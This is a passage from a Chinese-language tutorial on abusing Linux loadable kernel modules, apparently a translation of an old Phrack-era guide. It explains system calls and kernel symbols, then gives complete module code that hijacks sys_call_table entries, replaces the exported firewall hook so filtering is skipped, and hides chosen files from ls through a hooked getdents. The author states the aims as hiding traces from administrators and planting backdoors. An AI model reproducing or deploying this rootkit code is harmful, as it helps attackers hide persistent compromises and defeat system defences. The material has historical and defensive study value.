#define SYS_mlock 150
#define SYS_munlock 151
#define SYS_mlockall 152
#define SYS_munlockall 153
#define SYS_sched_setparam 154
#define SYS_sched_getparam 155
#define SYS_sched_setscheduler 156
#define SYS_sched_getscheduler 157
#define SYS_sched_yield 158
#define SYS_sched_get_priority_max 159
#define SYS_sched_get_priority_min 160
#define SYS_sched_rr_get_interval 161
#define SYS_nanosleep 162
#define SYS_mremap 163
#define SYS_setresuid 164
#define SYS_getresuid 165
#define SYS_vm86 166
#define SYS_query_module 167
#define SYS_poll 168
#define SYS_syscall_poll SYS_poll
#endif /* */
每个系统调用被定义了一个数字(见上列表),实际上是用数字做系统调用。
内核用中断0x80管理所有的系统调用。系统调用号和其它参数被移入某个寄存器(例如,
将系统调用号放入eax)。Sys_call_table[]作为内核中的一个结构数组,系统调用号此数组
的索引,这个结构数组把系统调用号映像到所需服务函数。
好,这些知识足够继续读下去了,下表列出了最让人感兴趣的系统调用,附有简短说明。相
信我,如果你想编写真正有用的LKM,你必须确切弄懂这些系统调用如何工作的。
系统调用
描述
int sys_brk(unsigned long new_brk);
改变数据段的大小à 此系统调用将在I.4中讨论
int sys_fork(struct pt_regs regs);
对应用户空间著名函数fork()的系统调用
int sys_getuid ()
int sys_setuid (uid_t uid)
...
管理UID 等的系统调用
int sys_get_kernel_sysms(struct kernel_sym *table)
访问内核系统表的系统调用(见I.3)
int sys_sethostname (char *name, int len);
int sys_gethostname (char *name, int len);
sys_sethostname 用于设置主机名,sys_gethostname 用于取回主机名
int sys_chdir (const char *path);
int sys_fchdir (unsigned int fd);
两个函数都用于设置当前路径(cd ...)
int sys_chmod (const char *filename, mode_t mode);
int sys_chown (const char *filename, mode_t mode);
int sys_fchmod (unsigned int fildes, mode_t mode);
int sys_fchown (unsigned int fildes, mode_t mode);
用来管理权限等的一些函数
int sys_chroot (const char *filename);
为申请调用的进程设置根路径
int sys_execve (struct pt_regs regs);
重要的系统调用,用来执行文件(pt_regs是寄存器堆栈)
long sys_fcntl (unsigned int fd, unsigned int cmd, unsigned long arg);
改变fd(打开文件的描述符)的特征
int sys_link (const char *oldname, const char *newname);
int sym_link (const char *oldname, const char *newname);
int sys_unlink (const char *name);
管理硬/软链接的系统调用
int sys_rename (const char *oldname, const char *newname);
改文件名
int sys_rmdir (const char* name);
int sys_mkdir (const *char filename, int mode);
创建和删除目录
int sys_open (const char *filename, int mode);
int sys_close (unsigned int fd);
打开相关文件(也可创建),关闭文件
int sys_read (unsigned int fd, char *buf, unsigned int count);
int sys_write (unsigned int fd, char *buf, unsigned int count);
读写文件的系统调用
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
取文件列表的系统调用(ls等命令)
int sys_readlink (const char *path, char *buf, int bufsize);
读符号链接
int sys_selectt (int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp);
复杂I/O操作
sys_socketcall (int call, unsigned long args);
socket 函数
unsigned long sys_create_module (char *name, unsigned long size);
int sys_delete_module (char *name);
int sys_query_module (const char *name, int which, void *buf, size_t bufsize, size_t *ret);
用于加载/卸载及查询LKM
我认为对任何入侵这些都是最重要的系统调用,当然对你作为超级用户的系统可能还需要一
些更特殊的。但一般的黑客更可能使用上面列出的。在第二部分你会学到怎样使用对你有用
的系统调用。
3.什么是内核符号表
好,我们理解了模块和系统调用最基本的概念。但还有另外一个我们需要理解的重点—内核
符号表。看一下/proc/ksyms,这个文件的每一项代表一个引出的(公共)内核符号,可被我
们的LKM访问。再仔细看看这个文件,你会发现很多有趣的东西。这个文件真的很有趣,
可以帮助我们看一看我们的LKM能用哪些内核符号;但有个问题,在我们的LKM(象函
数一样)中使用的每个符号也被引出为公共符号,也列在此文件中,所以有经验的系统管理
员能发现我们的小LKM并杀掉它。
有很多种方法可防止管理员看到我们的LKM,看节II。在第二节中提到的方法可以被称为
欺骗(’Hack’),但你读第二节的内容时,你看不到“把LKM符号排除在/proc/ksyms之外”
的字样。;在第二节中没提到这个问题的原因如下:
你并不需要把你的模块符号排除在/proc/ksyms之外的技巧。LKM的开发人员可用如下的常
规代码限制他们模块的输出符号:
static struct symbol_table module_syms= { /*定义自己的符号表*/
#include < LINUX symtab_begin.h >/*我们想要输出的符号,我们真想么?*/
...
};
register_symtab(&module_syms); /*做实际的注册工作*/
正如我所说,我们不想输出任何符号为公共符号,所以我们用如下构造函数:
register_symtab(NULL);
这一行必须插入到init_module()函数中,记住这一点!
4.如何进行内核与用户空间内存数据的交换
到目前为止本文非常基本非常容易。现在我们来点难的(但提高不多)。在内核空间编程有
很多好处,但也有很多不足。系统调用从用户空间获得参数(系统调用在一些封装程序如libc
中实现),但我们的LKM运行在内核空间。在节II中你会看到检查某个系统调用的参数非
常重要,因为要根据参数决定对策。但我们怎么才能在工作于内核空间的模块中访问用户空
间中的参数呢?
解决办法:我们必须进行传送。
对非利用内核入侵的黑客来说有点奇怪,但也非常容易。看下面的系统调用:
int sys_chdir (const char *path)
想象一下系统调用它,我们截获了调用(将在节II中讲到)。我们想检查一下用户想设置
的路径,所以我们必须访问char *path。如果你试着象下面那样直接访问path变量
printk("<1>%s\n", path);
就一定会出问题。
记住你是在内核空间,你不能轻易的读用户空间内存。在Phrack52你可得到plaguez的解决
方法,专用于传送字符串。他用内核模式函数(宏)取回用户空间内存中的字节。
#include < ASM segment.h >
get_user(pointer);
给这个函数一个指针指向*path就可帮助我们从用户空间取到想要的东西到内核空间。看一
下plaguez写的在用户空间到内核空间移动字符串的的程序:
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != '\0') && (compt != n));
return dest;
}
如果我们想转换*path变量,我们可用如下内核代码:
char *kernel_space_path;
kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /* 在内核空间中分配内存*/
(void) strncpy_fromfs(test, path, 20); /*调用plaguez写的函数*/
printk("<1>%s\n", kernel_space_path); /*现在我们可以使用任何想要的数据了*/
kfree(test); /*想着释放内存*/
上面的代码工作的非常好。一般性的传送太复杂;plaguez只用它来传送字符串(函数只用
于字符串拷贝)。一般数据的传送可用如下函数简单实现:
#include < ASM segment.h >
void memcpy_fromfs(void *to, const void *from, unsigned long count);
两个函数显而易见基于同类命令,但第二个函数同plaguez新定义的函数几乎一样。我推荐
用memcpy_fromfs(...)做一般数据传送,plaguez的前一个用于字符串拷贝。
现在我们知道了如何把用户空间的内存转换到内核空间。但反向怎么办?这有点难,因为我
们不容易在内核空间的位置定位用户空间。也许我们可以用如下方式处理转换:
#include < ASM segment.h >
void memcpy_tofs(void *to, const void *from, unsigned long count);
但如何在用户空间中定位*to指针呢?plaguez在Phrack一文中给出了最好的解决方法:
/*我们需要brk系统调用*/
static inline _syscall1(int, brk, void *, end_data_segment);
...
int ret, tmp;
char *truc = OLDEXEC;
char *nouveau = NEWEXEC;
unsigned long mmm;
mmm = current->mm->brk; /*定位当前进程数据段大小*/
ret = brk((void ) (mmm + 256)); /*利用系统调用brk为当前进程增加内存256个字节*/
if (ret < 0)
return ret; /*分配不成功*/
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
这里使用了一个非常高明的技巧。Current是指向当前进程任务结构的指针;mm是指向对
应进程内存管理的数据结构mm_struct的指针。通过用brk系统调用作用于current->mm->brk,
我们可以增加未用数据段空间大小,同时我们知道分配内存就是处理数据段,所以通过增加
未用空间大小,我们就为当前进程分配了一些内存。这块内存可用于将内核空间内存拷贝到
用户空间(当前进程)。
你可能想知道上面代码中第一行是做什么用的。这一行帮助我们使用在内核空间象调用函数
一样使用用户空间。所有的用户空间函数对应一个a_syscall(...)形式的宏,所以我们可以构
造一个系统调用宏对应用户空间的某个函数(通过系统调用对应);这里是针对brk(..)的。
5.使用用户空间的各种函数方法
你看到的在I.4中我们用一系统调用宏来构造我们自己的brk调用,它很象我们所知的用户
空间的brk。事实是用户空间的库函数(并非所有的)是通过这样的系统调用宏来实现的。
下面的代码展示了用来构造我们在I.4中用的brk(...)函数的_syscall(...)宏(取自/asm/unistd.h)。
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
return (type) __res; \
errno = -__res; \
return -1; \
}
你无须了解这段代码的全部功能,它只是用_syscall的参数作为参数调用中断0x80(见I.2)。
name是我们所需的系统调用(name被扩展为__NR_name,在/asm/unistd.h中定义)。用这
种办法我们实现了brk函数。其它带有不同个数参数的函数由其它宏实现(_syscallX,其中X
代表参数个数)。
我个人用其它方法实现函数;见下例:
int (*open)(char *, int, int); /*声明原型*/
open = sys_call_table[SYS_open]; /*你也可以用__NR_open*/
用这种方法你无须用任何系统调用宏,你只用来自sys_call_table的函数指针就可以了。我
曾在网上发现SVAT的著名LKM感染程序就是用的这种象函数一样构造用户空间的方法。
我认为这是较好的解决办法,但你要自己判断和测试。
要注意为这些系统调用提供参数的时候,是来自用户空间而非你的内核空间。读I.4找把内
核空间的数据传递到用户空间内存中的方法。
一个非常简单的做这些的方法是处理寄存器。你必须知道Linux用段选择器去区分内核空间、
用户空间等等。从用户空间传给系统调用的参数位于数据段选择器限定的某个位置。[我在
I.4中没提到这些,因为它更适合本节。]
从asm/segment.h知DS可用get_ds()取回。所以系统调用中使用的参数数据可在内核空间中
访问,只要我们把内核空间所用的段选择器的DS值设为用户段的值就可以了。这可用
set_fs(...)实现。但要小心,你必须访问完系统调用的参数之后恢复FS。下面我们看一段有
用的代码:
例如filename在内核空间的我们刚建立的一个字符串,
unsigned long old_fs_value=get_fs();
set_fs(get_ds); /*此后我们可以访问用户空间中数据*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); /*恢复fs...*/
我认为这是最简单/最快的解决问题的方法,但还需你自己测试。记住我在这里举的函数例
子(brk,open)都是通过一个系统调用实现的。但也有很多用户空间函数是集成在一个系
统调用里面的。看一下重要系统调用列表(I.2);例如,sys_socket调用实现了所有关于socket
的功能(创建、关闭、发送、接收...)。所以构造自己的函数是要小心,最好看一下内核源
码。
6.常用内核空间函数列表
本文的开始我介绍了printk(...)函数,它是所有人都可在内核空间使用的,所以叫内核函数。
内核开发人员需要很多通常只有通过库函数才能完成的复杂函数,这些函数被编制成内核函
数。下面列出经常使用的最重要的内核函数:
函数/宏
描述
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
接收数据到字符串中的函数
printk (...)
同用户空间的printf函数
void *memset (void *s, char c, size_t count);
void *memcpy (void *dest, const void *src, size_t count);
char *bcopy (const char *src, char *dest, int count);
void *memmove (void *dest, const void *src, size_t count);
int memcmp (const void *cs, const void *ct, size_t count);
void *memscan (void *addr, unsigned char c, size_t size);
内存函数
int register_symtab (struct symbol_table *intab);
见I.1
char *strcpy (char *dest, const char *src);
char *strncpy (char *dest, const char *src, size_t count);
char *strcat (char *dest, const char *src);
char *strncat (char *dest, const char *src, size_t count);
int strcmp (const char *cs, const char *ct);
int strncmp (const char *cs,const char *ct, size_t count);
char *strchr (const char *s, char c);
size_t strlen (const char *s);size_t strnlen (const char *s, size_t count);
size_t strspn (const char *s, const char *accept);
char *strpbrk (const char *cs, const char *ct);
char *strtok (char *s, const char *ct);
字符串比较函数等等
unsigned long simple_strtoul (const char *cp, char **endp, unsigned int base);
把字符串转换成数字
get_user_byte (addr);
put_user_byte (x, addr);
get_user_word (addr);
put_user_word (x, addr);
get_user_long (addr);
put_user_long (x, addr);
访问用户内存的函数
suser();
fsuser();
检测超级用户权限
int register_chrdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_chrdev (unsigned int major, const char *name);
int register_blkdev (unsigned int major, const char *name, struct file_o perations *fops);
int unregister_blkdev (unsigned int major, const char *name);
登记设备驱动器的函数
..._chrdev -> 字符设备
..._blkdev -> 块设备
请记住,这些函数中有的也可用I.5中提到的方法实现。当然你也要明白,如果内核已经提
供了这些,自己构造就意义不大了。后面你将看到这些函数(尤其是字符串比较)对实现我
们的目的非常重要。
7.什么是内核后台进程
最后我们基本到了基础知识部分的结尾,现在我解释一下内核后台进程的运行情形
(/sbin/kerneld)。从名字可以看到这是一个用户空间中等待某个动作的进程。首先应该知
道,为了应用kerneld的特点,必须在建立内核时激活kerneld选项。Kerneld按如下方式工
作:如果内核想访问某项资源(当然在内核空间),而资源目前没有,它并不产生错误,而
是向Kerneld请求该项资源。如果kerneld能够提供资源,就加载所需的LKM,内核继续运
行。使用这种模式可以仅当LKM真正需要/不需要时被加载或卸载。很明显这些工作在用户
空间和内核空间都有。
Kerneld存在于用户空间。如果内核请求一个新模块,这个后台进程将收到一个内核发来的
通知哪个模块被加载的字符串。内核可能发送一个一般的名字象eth0(而非对象文件),这
时系统需要查找/etc/modules.conf中的别名行。这些行把系统所需的LKM同一般名称匹配
起来。
下行说明eth0对应DEC的Tulip 驱动程序LKM
# /etc/modules.conf # 或/etc/conf.modules – 反过来
alias eth0 tulip
以上是对应用户空间由kerneld后台进程使用的。内核空间主要由4个函数对应。这些函数
都基于对kernekl_send的调用。确切的通过kerneld_send调用这些函数的方法可参见
linux/kerneld.h。下表列出上面提到的四个函数:
函数
描述
int sprintf (char *buf, const char *fmt, ...);
int vsprintf (char *buf, const char *fmt, va_list args);
用于把输入数据放入字符串中的函数
int request_module (const char *name);
告知kerneld内核请求某个模块(给出名称或类ID/名称)
int release_module (const char* name, int waitflag);
卸载模块
int delayed_release_module (const char *name);
延迟卸载
int cancel_release_module (const char *name);
取消对delayed_release_module 的调用
注:内核2.2版用其它模式请求模块。参见第五部分。
8.建立你自己的设备
附录A介绍了TTY截取功能,它用一设备记录结果。所以我们先看一个设备驱动程序的很
基本的例子。看如下代码(这是一个最基本的驱动程序,我主要写来演示,它几乎什么也不
做):
#define MODULE
#define __KERNEL__
#include < LINUX module.h >
#include < LINUX kernel.h >
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
/*只用于演示*/
static int driver_open(struct inode *i, struct file *f)
{
printk("<1>Open Function\n");
return 0;
}
/*登记我们的驱动程序提供的所有函数*/
static struct file_operations fops = {
NULL, /*lseek*/
NULL, /*read*/
NULL, /*write*/
NULL, /*readdir*/
NULL, /*select*/
NULL, /*ioctl*/
NULL, /*mmap*/
driver_open, /*open, 看一下我们提供的open函数*/
NULL, /*release*/
NULL /*fsync...*/
};
int init_module(void)
{
/*登记驱动程序,符号为40,名称为driver */
if(register_chrdev(40, "driver", &fops)) return -EIO;
return 0;
}
void cleanup_module(void)
{
/*注销driver*/
unregister_chrdev(40, "driver");
}
最重要的函数是register_chrdev(...),它把我们的驱动程序以主设备号40登记,如果你想访
问此驱动程序,如下操作:
# mknode /dev/driver c 40 0
# insmod driver.o
然后你就可以访问设备了(但我因为没时间没实现任何功能)。File_operations结构指明我
们的驱动程序将提供给系统的所有函数(操作)。正如你所见我仅仅实现了最基本的无用函
数输出一点东西。显然你可以用如上方法简单的实现你自己的设备。做一点练习。如果你想
记录数据(如击键),你可以在驱动程序中建立一个缓冲区,然后通过设备接口将其内容输
出。
第二部分 深入探讨
1、如何截获系统调用
现在我们开始滥用LKM模式。一般LKM用于扩展内核(尤其硬件驱动程序)。我们的攻
击‘hack’要做点儿不同的,首先截获系统调用然后修改它们,以便针对某个命令改变系统的
响应方式。下面的模块使修改过的系统上的用户不能创建目录。这只是我们将如何工作的一
个小小演示:
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[]; /*sys_call_table 被引出,所以我们可访问它*/
int (*orig_mkdir)(const char *path); /*未改前的系统调用*/
int hacked_mkdir(const char *path)
{
return 0; /*一切正常,但新的系统调用什么也不做*/
}
int init_module(void) /*模块初始化*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*模块卸载*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*把mkdir系统调用恢复*/
}
编译执行这个模块(见I.1),试着建目录,应该不行。因为返值为0(意味着正常)我们
不能获得错误信息。删掉模块后,又可以建目录了。如你所见,要截获内核系统调用,只需
更改sys_call_table(见I.2)中的对应登记项。
截获系统调用的一般方法大致如下列出:
在sys_call_table[]中查找系统调用的登记项(看一下include/sys/syscall.h)
用函数指针把sys_call_table[X]中的原始登记项保存(X代表想截获的系统调用号)
通过设置sys_call_table[X]为所需函数地址,把你自己定义的新的系统调用(伪装过的)地
址保存起来。
你要意识到把原始系统调用的函数指针保存非常有用,因为在你的伪造的函数中要用它来仿
真原始函数。在写‘Hack-LKM’时你要面对的第一个问题就是‘哪个系统调用应被截获’。
2.哪些系统调用应被截获
也许你并非‘内核高手’,不知道所有应用程序或命令可使用的用于用户空间函数的系统调用。
所以我将给你一些找到要控制的系统调用的提示:
a).读源代码。对于象Linux这样的系统,你几乎可以得到用户(管理员)所用的所有程序的
源代码。一旦你找到一些基本函数如dup,open,write...看b)。
b).看一下include/sys/syscall.h(见I.2)试着找出直接对应的系统调用(对于dup可找到
SYS_dup;对于write可找到SYS_write;...)。如果这样不行看c)。
c).一些调用如socket,send,receive,...是通过一个系统调用实现的,正如以前我提过的。在
include文件中找一下相关系统调用。
记住并非所有的C库函数都对应一个系统调用!大多函数根本不同任何系统调用有关系。
有一点经验的黑客会看一下 I.2中的系统调用列表,那里有足够的信息。例如很明显用户
ID管理是通过uid系统调用实现的。如果你想更有把握,你也可以看一下库源代码/内核源
代码。
比较棘手的问题是管理员写自己的应用程序来检查系统的集成性/安全性。这些程序会导致
源代码泄露,我们无法得知这些程序如何工作也不知为了隐藏行迹和工具应截获哪些系统调
用。也有可能管理员引入一个隐藏的LKM作为一个漂亮的象黑客做的一样的系统调用去检
查系统的安全性(管理员经常使用黑客技术保护自己的系统)。所以下一步我们该怎么办?
2.1 寻找重要的系统调用(strace命令方法)
假设你懂用超级管理程序检查系统(可用多种方式做,如截获TTY(见II.9/附录A),一
个问题是你在超级管理程序中要隐藏自己的行迹直到某一时刻...)。所以用strace运行程序
(可能要求你有root权限)。
#strace ‘要运行的程序’
这个命令将给出一个漂亮的输出,就是运行程序中用到的所有系统调用甚至包括管理员在他
的伪装LKM(如果有的话)用到的系统调用。我没有能演示简单输出的超级管理程序,但
我们可以看一下’strace whoami’的输出结果。
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.5", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)
= 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
brk(0x804aa48) = 0x804aa48
brk(0x804b000) = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40008000
read(3, "# Locale name alias data base\n#"..., 4096) = 2005
brk(0x804c000) = 0x804c000
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40008000, 4096) = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3) = 0
geteuid() = 500
open("/etc/passwd", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
close(3) = 0
munmap(0x4000b000, 4096) = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
write(1, "r00t\n", 5r00t
) = 5
_exit(0) = ?
这是一个非常不错的结果,列出了whoami命令用到的所有系统调用,不是吗?为了控制
whoami的输出,有四个重要的系统调用可被截获:
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
看一下II.6是如何解决那个问题的。分析程序的方法也是快速查询其它标准工具的一个重要
方法。
我希望现在你有能力找到一些系统调用了。这些系统调用可用来使你隐藏行迹,做系统后门,
或任何你想干的。
3.迷惑内核系统表
在II.1中你可以看到如何访问sys_call_table,它通过内核符号表导出。现在思考一下,通过
在我们的模块中访问它们,我们可以改动任何引出项(如函数,结构,变量)。
在/proc/ksyms中列出的所有项都可被截获。但我们的模块不能用这种方式改,因为我们没
引出任何符号。这里是我机器上/proc/ksyms文件的一部分,用来展示一下你可以改什么。
...
001bf1dc ppp_register_compressor
001bf23c ppp_unregister_compressor
001e7a10 ppp_crc16_table
001b9cec slhc_init
001b9ebc slhc_free
001baa20 slhc_remember
001b9f6c slhc_compress
001ba5dc slhc_uncompress
001babbc slhc_toss
001a79f4 register_serial
001a7b40 unregister_serial
00109cec dump_thread
00109c98 dump_fpu
001c0c90 __do_delay
001c0c60 down_failed
001c0c80 down_failed_interruptible
001c0c70 up_wakeup
001390dc sock_register
00139110 sock_unregister
0013a390 memcpy_fromiovec
001393c8 sock_setsockopt
00139640 sock_getsockopt
001398c8 sk_alloc
001398f8 sk_free
00137b88 sock_wake_async
00139a70 sock_alloc_send_skb
0013a408 skb_recv_datagram
0013a580 skb_free_datagram
0013a5cc skb_copy_datagram
0013a60c skb_copy_datagram_iovec
0013a62c datagram_select
00141480 inet_add_protocol
001414c0 inet_del_protocol
001ddd18 rarp_ioctl_hook
001bade4 init_etherdev
00140904 ip_rt_route
001408e4 ip_rt_dev
00150b84 icmp_send
00143750 ip_options_compile
001408c0 ip_rt_put
0014faa0 arp_send
0014f5ac arp_bind_cache
001dd3cc ip_id_count
0014445c ip_send_check
00142bc0 ip_forward
001dd3c4 sysctl_ip_forward
0013a994 register_netdevice_notifier
0013a9c8 unregister_netdevice_notifier
0013ce00 register_net_alias_type
0013ce4c unregister_net_alias_type
001bb208 register_netdev
001bb2e0 unregister_netdev
001bb090 ether_setup
0013d1c0 eth_type_trans
0013d318 eth_copy_and_sum
0014f164 arp_query
00139d84 alloc_skb
00139c90 kfree_skb
00139f20 skb_clone
0013a1d0 dev_alloc_skb
0013a184 dev_kfree_skb
0013a14c skb_device_unlock
0013ac20 netif_rx
0013ae0c dev_tint
001e6ea0 irq2dev_map
0013a7a8 dev_add_pack
0013a7e8 dev_remove_pack
0013a840 dev_get
0013b704 dev_ioctl
0013abfc dev_queue_xmit
001e79a0 dev_base
0013a8dc dev_close
0013ba40 dev_mc_add
0014f3c8 arp_find
001b05d8 n_tty_ioctl
001a7ccc tty_register_ldisc
0012c8dc kill_fasync
0014f164 arp_query
00155ff8 register_ip_masq_app
0015605c unregister_ip_masq_app
00156764 ip_masq_skb_replace
00154e30 ip_masq_new
00154e64 ip_masq_set_expire
001ddf80 ip_masq_free_ports
001ddfdc ip_masq_expire
001548f0 ip_masq_out_get_2
001391e8 register_firewall
00139258 unregister_firewall
00139318 call_in_firewall
0013935c call_out_firewall
001392d4 call_fw_firewall
...
只看call_in_firewall,这个函数在内核中用于防火墙管理,如果我们用一个伪造的函数代替
它会怎样呢?
看如下LKM:
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
/*得到引出的函数*/
extern int *call_in_firewall;
/*我们自己的无用的call_in_firewall*/
int new_call_in_firewall()
{
return 0;
}
int init_module(void) /*module setup*/
{
call_in_firewall=new_call_in_firewall;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
}
编译/加载此LKM并执行’ipfwadm –I –a deny’。然后执行’ping 127.0.0.1’,你的内核会产生
一条有趣的错误信息,因为调用的call_in_firewall(...)函数已经换成假的了(此例中你可跳过
防火墙安装)。
这是一种破坏引出符号的非常粗鲁的方式。你也可以反汇编某个特定符号(用gdb)然后修
改某些特定字节,以改变符号的工作方式。想象一下,在引出函数中有IFTHEN结构,反
汇编这个函数,查找象JNZ,JNE这样的命令,会怎样 ...这种方法可修补重要项。当然,
你也可以在内核/模块源码中找这些函数,但当你只能得到模块的二进制代码时怎么办,这
时反汇编就很有用了。
4.针对文件系统的黑客方法
LKM入侵的最重要特征就是在本地文件系统中隐藏某些项(你留的漏洞,窃听(+记录),
等等)的能力。
4.1 如何隐藏文件
想象一下管理员是如何发现你的文件的:他会用‘ls’看所有的东西。对那些不知道的人,strace
命令检查ls可让你知道获得目录列表的系统调用为
int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
所以我们知道应从哪里入手攻击了。下面的一段代码取自AFHRM(Michal Zalewski)的
hacked_getdents系统调用,这个模块可隐藏任何用ls列的文件和用getdents系统调用列的应
用程序。
#define MODULE
#define __KERNEL__
#include < LINUX module.h>
#include < LINUX kernel.h>
#include < ASM unistd.h>
#include < SYS syscall.h>
#include < SYS types.h>
#include < ASM fcntl.h>
#include < ASM errno.h>
#include < LINUX types.h>
#include < LINUX dirent.h>
#include < SYS mman.h>
#include < LINUX string.h>
#include < LINUX fs.h>
#include < LINUX malloc.h>
extern void* sys_call_table[];
int (*orig_getdents) (uint, struct dirent *, uint);
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
unsigned int tmp, n;
int t, proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
char hide[]="ourtool"; /*要隐藏的文件*/
/*调用原始的getdents -> 结果放入tmp*/
tmp = (*orig_getdents) (fd, dirp, count);
/*目录缓存处理directory cache handling*/
/*必须这样检查,因为原始getdents可能把结果放入任务进程的结构的缓存中。*/
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
/*dinode 是所请求目录的i节点*/
if (tmp > 0)
{
/*dirp2 is a new dirent structure*/
dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
/*copy original dirent structure to dirp2*/
memcpy_fromfs(dirp2, dirp, tmp);
/*dirp3 points to dirp2*/
dirp3 = dirp2;
t = tmp;
while (t > 0)
{
n = dirp3->d_reclen;
t -= n;
/*检查当前的文件名是否为我们想要隐藏的文件*/
if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
{
/*如果有必要则修改dirent结构*/
if (t != 0)
memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
else
dirp3->d_off = 1024;
tmp -= n;
}
if (dirp3->d_reclen == 0)
{
/*
*处理一些该死的不正确使用
*getdents系统调用的fs 驱动程序
*/
tmp -= t;
t = 0;
}
if (t != 0)
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
memcpy_tofs(dirp, dirp2, tmp);
kfree(dirp2);
}
return tmp;
}
int init_module(void) /*module setup*/
{
orig_getdents=sys_call_table[SYS_getdents];
sys_call_table[SYS_getdents]=hacked_getdents;
return 0;
}
void cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_getdents]=orig_getdents;
}
对新手:读注释,用心思考10分钟。然后继续。
这种欺骗方式很有效,但记住管理员通过直接访问仍然能看到你的文件,如’cat ourtool’或’ls
